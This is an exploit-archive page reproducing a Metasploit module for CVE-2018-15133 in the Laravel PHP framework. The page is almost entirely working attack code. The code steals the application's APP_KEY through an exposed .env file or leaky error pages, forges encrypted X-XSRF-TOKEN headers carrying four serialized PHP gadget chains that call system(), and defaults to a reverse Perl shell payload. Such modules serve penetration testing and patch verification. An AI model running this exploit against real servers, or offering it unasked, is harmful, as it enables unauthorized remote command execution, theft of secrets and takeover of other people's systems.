PHP Laravel Framework Token Unserialize Remote Command Execution

2019.07.16
Credit: aushack
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29. Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation. }, 'DisclosureDate' => '2018-08-07', 'Author' => [ 'Ståle Pettersen', # Discovery 'aushack', # msf exploit + other leak ], 'References' => [ ['CVE', '2018-15133'], ['CVE', '2017-16894'], ['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'], ['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'], ['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0'] ], 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }, 'Payload' => { 'DisableNops' => true }, 'Targets' => [[ 'Automatic', {} ]], )) register_options([ OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']), OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', '']) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET' }) # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more? unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i return CheckCode::Unknown end auth_token = check_appkey if auth_token.blank? || test_appkey(auth_token) == false vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.' return CheckCode::Detected end random_string = Rex::Text.rand_text_alphanumeric(12) 1.upto(4) do |method| vuln = generate_token("echo #{random_string}", auth_token, method) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'headers' => { 'X-XSRF-TOKEN' => "#{vuln}", } }) if res.body.include?(random_string) return CheckCode::Vulnerable # Not conclusive but witnessed in the wild elsif res.body.include?('Method Not Allowed') return CheckCode::Safe end end CheckCode::Detected rescue Rex::ConnectionError CheckCode::Unknown end def env_leak key = '' vprint_status 'Checking for CVE-2017-16894 .env information leak' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '.env'), 'method' => 'GET' }) # Good but may be other software. Can also check for 'APP_NAME=Laravel' etc return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/ key = $1 if key vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}" return key end vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY' key end def framework_leak(decrypt_ex = true) key = '' if decrypt_ex # Possible config error / 0day found by aushack during pentest # Seen in the wild with recent releases res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'headers' => { 'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger } }) return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY') else res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST' }) return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY') end # Good sign but might be more universal with e.g. 'vendor/laravel/framework' ? # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64 if res.body =~ /\>base64:(.*)\<\/span\>/ key = $1 vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}" end key end def check_appkey key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : '' return key unless key.empty? vprint_status 'APP_KEY not set. Will try to find it...' key = env_leak key = framework_leak if key.empty? key = framework_leak(false) if key.empty? key.empty? ? false : key end def test_appkey(value) value = Rex::Text.decode_base64(value) return true if value && value.length.to_i == 32 false end def generate_token(cmd, key, method) # Ported phpggc Laravel RCE php objects :) case method when 1 payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}' when 2 payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}' when 3 payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}' when 4 payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}' end cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested cipher.encrypt cipher.key = Rex::Text.decode_base64(key) iv = cipher.random_iv value = cipher.update(payload_decoded) + cipher.final pload = Rex::Text.encode_base64(value) iv = Rex::Text.encode_base64(iv) mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload) iv = iv.gsub('/', '\\/') # Escape slash pload = pload.gsub('/', '\\/') # Escape slash json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"}) json_out = Rex::Text.encode_base64(json_value) json_out end def exploit auth_token = check_appkey if auth_token.blank? || test_appkey(auth_token) == false vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.' return end 1.upto(4) do |method| sploit = generate_token(payload.encoded, auth_token, method) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'headers' => { 'X-XSRF-TOKEN' => sploit, } }, 5) # Stop when one of the deserialization attacks works break if session_created? if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive print_status 'Target appears to be patched or otherwise immune' end end end end

References:



Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top